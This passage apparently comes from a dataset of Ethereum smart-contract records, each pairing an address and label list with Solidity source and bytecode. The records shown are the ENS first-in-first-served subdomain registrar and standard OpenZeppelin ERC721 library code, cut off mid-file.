565b614777919061519a565b614781919061517a565b9250670de0b6b3a76400008686614798878761519a565b6147a2919061517a565b6147ac919061519a565b6147b6919061517a565b91509450945094915050565b606061416c848460008561483e565b6000670de0b6b3a7640000838587856147ea858c61519a565b6147f4919061517a565b6147fe919061519a565b614808919061517a565b614812919061519a565b614366919061517a565b60008183116148345761482f83836151f8565b6119fe565b6119fe82846151f8565b6060824710156148605760405162461bcd60e51b8152600401610aad90614e4e565b614869856148f3565b6148855760405162461bcd60e51b8152600401610aad90614f5a565b600080866001600160a01b031685876040516148a19190614da9565b60006040518083038185875af1925050503d80600081146148de576040519150601f19603f3d011682016040523d82523d6000602084013e6148e3565b606091505b50915091506107128282866148f9565b3b151590565b606083156149085750816119fe565b8251156149185782518084602001fd5b8160405162461bcd60e51b8152600401610aad9190614e3b565b600060a08284031215614943578081fd5b61494d60a06150cc565b9050815161495a8161529c565b808252506020820151602082015260408201516040820152606082015160608201526080820151608082015292915050565b60006020828403121561499d578081fd5b81356119fe8161529c565b6000602082840312156149b9578081fd5b81516119fe8161529c565b6000806000806000608086880312156149db578081fd5b85356149e68161529c565b94506020860135935060408601359250606086013567ffffffffffffffff80821115614a10578283fd5b818801915088601f830112614a23578283fd5b813581811115614a31578384fd5b896020828501011115614a42578384fd5b9699959850939650602001949392505050565b60006020808385031215614a67578182fd5b825167ffffffffffffffff811115614a7d578283fd5b8301601f81018513614a8d578283fd5b8051614aa0614a9b826150fd565b6150cc565b8181528381019083850160a0808502860187018a1015614abe578788fd5b8795505b84861015614aea57614ad48a83614932565b8452600195909501949286019290810190614ac2565b509098975050505050505050565b60006020808385031215614b0a578182fd5b825167ffffffffffffffff811115614b20578283fd5b8301601f81018513614b30578283fd5b8051614b3e614a9b826150fd565b8181528381019083850185840285018601891015614b5a578687fd5b8694505b83851015614b7c578051835260019490940193918501918501614b5e565b50979650505050505050565b600060208284031215614b99578081fd5b81516119fe816152b4565b600080600060608486031215614bb8578283fd5b8335614bc38161529c565b92506020840135614bd38161529c565b929592945050506040919091013590565b600080600080600060a08688031215614bfb578081fd5b8535614c068161529c565b94506020860135614c168161529c565b94979496505050506040830135926060810135926080909101359150565b60008060408385031215614c46578182fd5b8235614c518161529c565b91506020830135614c61816152b4565b809150509250929050565b60008060408385031215614c7e578182fd5b8235614c898161529c565b946020939093013593505050565b600060a08284031215614ca8578081fd5b6119fe8383614932565b600060208284031215614cc3578081fd5b5035919050565b600060208284031215614cdb578081fd5b5051919050565b60008060408385031215614cf4578182fd5b505080516020909101519092909150565b60008060008060808587031215614d1a578182fd5b505082516020840151604085015160609095015191969095509092509050565b6000815180845260208085019450808401835b83811015614d725781516001600160a01b031687529582019590820190600101614d4d565b509495945050505050565b60008151808452614d9581602086016020860161520f565b601f01601f19169290920160200192915050565b60008251614dbb81846020870161520f565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602082526119fe6020830184614d7d565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252818101527f45506f6f6c5065726970686572793a20756e617070726f7665642045506f6f6c604082015260600190565b60208082526027908201527f45506f6f6c5065726970686572793a20696e73756666696369656e74206d61786040820152660b881a5b9c1d5d60ca1b606082015260800190565b6020808252602a908201527f45506f6f6c5065726970686572793a20696e73756666696369656e74206f75746040820152691c1d5d08185b5bdd5b9d60b21b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526022908201527f45506f6f6c5065726970686572793a2065786365737369766520736c69707061604082015261676560f01b606082015260800190565b90815260200190565b60008382526040602083015261416c6040830184614d3a565b600086825285602083015260a0604083015261505e60a0830186614d3a565b6001600160a01b0394909416606083015250608001529392505050565b600085825284602083015260018060a01b0384166040830152608060608301526143666080830184614d7d565b938452602084019290925260408301526001600160a01b0316606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156150f5576150f5615286565b604052919050565b600067ffffffffffffffff82111561511757615117615286565b5060209081020190565b600080821280156001600160ff1b038490038513161561514357615143615270565b600160ff1b839003841281161561515c5761515c615270565b50500190565b6000821982111561517557615175615270565b500190565b60008261519557634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156151b4576151b4615270565b500290565b60008083128015600160ff1b8501841216156151d7576151d7615270565b6001600160ff1b03840183138116156151f2576151f2615270565b50500390565b60008282101561520a5761520a615270565b500390565b60005b8381101561522a578181015183820152602001615212565b838111156140815750506000910152565b600060001982141561524f5761524f615270565b5060010190565b6000600160ff1b82141561526c5761526c615270565b0390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146152b157600080fd5b50565b80151581146152b157600080fdfe45506f6f6c5065726970686572793a206e6f742064616f206f7220677561726469616ea264697066735822122063467ad4c680fb984738d42048277ba6b3b7f5db2ae2a715a4b45ec9c584cd0d64736f6c63430008010033
[ 5, 4, 12 ]
0xf224D32b8eD5132d71D6b1470787664bc78C645b
pragma solidity 0.8.7; import '@ensdomains/ens/contracts/ENS.sol'; /** * A registrar that allocates subdomains to the first person to claim them. */ contract FIFSRegistrar { ENS ens; bytes32 rootNode; modifier only_owner(bytes32 label) { address currentOwner = ens.owner(keccak256(abi.encodePacked(rootNode, label))); require(currentOwner == address(0x0) || currentOwner == msg.sender); _; } /** * Constructor. * @param ensAddr The address of the ENS registry. * @param node The node that this registrar administers. */ constructor(ENS ensAddr, bytes32 node) public { ens = ensAddr; rootNode = node; } /** * @dev Sets the record for a subnode. * @param label The hash of the label specifying the subnode. * @param owner The address of the new owner. * @param resolver The address of the resolver. * @param ttl The TTL in seconds. */ function register(bytes32 label, address owner, address resolver, uint64 ttl) public only_owner(label) { ens.setSubnodeRecord(rootNode, label, owner, resolver, ttl); } } pragma solidity >=0.4.24; interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); // Logged when an operator is added or removed. event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external; function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external; function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns(bytes32); function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function setApprovalForAll(address operator, bool approved) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); function recordExists(bytes32 node) external view returns (bool); function isApprovedForAll(address owner, address operator) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806364830d6114610030575b600080fd5b61004361003e3660046101cc565b610045565b005b6000805460015460408051602080820193909352808201899052815180820383018152606082019283905280519301929092206302571be360e01b90915260648201528692916001600160a01b0316906302571be39060840160206040518083038186803b1580156100b657600080fd5b505afa1580156100ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100ee91906101a8565b90506001600160a01b038116158061010e57506001600160a01b03811633145b61011757600080fd5b6000546001546040516305ef2c7f60e41b81526004810191909152602481018890526001600160a01b038781166044830152868116606483015267ffffffffffffffff8616608483015290911690635ef2c7f09060a401600060405180830381600087803b15801561018857600080fd5b505af115801561019c573d6000803e3d6000fd5b50505050505050505050565b6000602082840312156101ba57600080fd5b81516101c58161022c565b9392505050565b600080600080608085870312156101e257600080fd5b8435935060208501356101f48161022c565b925060408501356102048161022c565b9150606085013567ffffffffffffffff8116811461022157600080fd5b939692955090935050565b6001600160a01b038116811461024157600080fd5b5056fea2646970667358221220b8a5c71d1281429eab1bace690bea675abd8af00d18f6657f3fdd413d8feadb564736f6c63430008070033
[ 38 ]
0xf224d75076633aa9317aba0f18365ee67676efd8
/** *Submitted for verification at Etherscan.io on 2021-08-13 */ // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.2.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/Strings.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/access/Ownable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is 